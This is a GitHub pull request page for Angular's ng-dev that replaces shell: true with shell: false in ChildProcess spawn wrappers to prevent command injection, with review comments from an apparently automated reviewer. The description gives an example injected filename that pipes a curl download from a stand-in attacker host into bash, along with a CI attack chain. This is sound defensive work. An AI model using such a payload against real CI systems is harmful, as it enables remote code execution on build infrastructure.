fix(ng-dev): prevent OS command injection in ChildProcess wrappers#3601
fix(ng-dev): prevent OS command injection in ChildProcess wrappers#3601herdiyana256 wants to merge 2 commits intoangular:mainfrom
Conversation
|
Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA). View this failed invocation of the CLA check for more information. For the most up to date status, view the checks section at the bottom of the pull request. |
The ChildProcess.spawn and ChildProcess.spawnSync wrappers previously
used `shell: true`, which causes Node.js to internally concatenate the
command + args array into a single string and pass it to `/bin/sh -c`.
This means any argument containing shell metacharacters (e.g. a file named
`src/foo;curl attacker.com|bash;#.ts`) resulting from a malicious Pull
Request is directly executed by the shell in CI/CD contexts.
The attack chain is concrete:
1. `ng-dev format changed` calls `git diff --name-only` -> attacker controls filenames.
2. `runFormatterInParallel` builds: `[spawnCmd, ...spawnArgs] = [...command.split(' '), file]`
3. `ChildProcess.spawn(spawnCmd, spawnArgs, ...)` with `shell: true` evaluates
the injected filename as an arbitrary shell command on the CI runner.
Fix: change `shell: true` to `shell: false` in both `spawn` and `spawnSync`.
With `shell: false`, args are passed directly to `execve` as an array,
completely bypassing shell interpretation and neutralizing the injection.
herdiyana256
force-pushed
the
fix/ngdev-childprocess-shell-injection
branch
from
412f2e2 to
26ff17d
Compare
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request improves security by disabling shell execution in spawnSync and spawn to prevent command injection and adds a warning log to the exec method. Feedback indicates that disabling the shell may break Windows batch file execution and suggests enhancing the exec warning with the command string and a deprecation tag.
| stdout, | ||
| stderr, | ||
| } = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: true, stdio: 'pipe'}); | ||
| } = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: false, stdio: 'pipe'}); |
There was a problem hiding this comment.
Setting shell: false is a significant security improvement. However, please be aware that this change may break the execution of batch files (.cmd, .bat) on Windows, as they require a shell to run. If Windows support is required for this tool, you might need to use a library like cross-spawn or explicitly handle the command path for Windows.
There was a problem hiding this comment.
Addressed in the follow-up commit. Added a comment to both spawn and spawnSync
clarifying that ng-dev targets Linux/macOS CI environments only, so .cmd/.bat
compatibility on Windows is not a concern here.
ng-dev/utils/child-process.ts
Outdated
| * rejects on command failure. | ||
| */ | ||
| static exec(command: string, options: ExecOptions = {}): Promise<SpawnResult> { | ||
| Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.'); |
There was a problem hiding this comment.
To help developers identify and migrate away from exec calls, it would be useful to include the command string in the warning message. Additionally, consider marking this method as @deprecated in the JSDoc to provide better visibility in IDEs.
| Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.'); | |
| Log.warn("ChildProcess.exec is discouraged as it is susceptible to command injection (command: " + command + "). Prefer ChildProcess.spawn with an array of arguments."); |
There was a problem hiding this comment.
Addressed in the follow-up commit. Updated the Log.warn message to include the
command string for better diagnostics, and added @deprecated JSDoc to the exec()
method for IDE visibility.
- Add Windows compatibility note to shell:false in spawn and spawnSync (ng-dev targets Linux/macOS CI environments where this is not a concern) - Include command string in exec() deprecation warning for better diagnostics - Add @deprecated JSDoc to ChildProcess.exec for IDE visibility
1 participant
fix(ng-dev): use shell: false in ChildProcess spawn wrappers
The spawn and spawnSync wrappers in ng-dev/utils/child-process.ts were using
shell: truewhen invoking child processes.While the public SpawnOptions interface already intentionally omits the
shelloption (viaOmit<_SpawnOptions, 'shell' | 'stdio'>),the internal implementation was hardcodingshell: true.With
shell: true, Node.js internally joins the command andarguments array into a single string before passing it to /bin/sh,which can lead to unintended shell evaluation of argument values.Switching to
shell: falseensures arguments are passed directly to the OS via execve(), which is the safer and more predictable behavior, consistent with the API's original intent.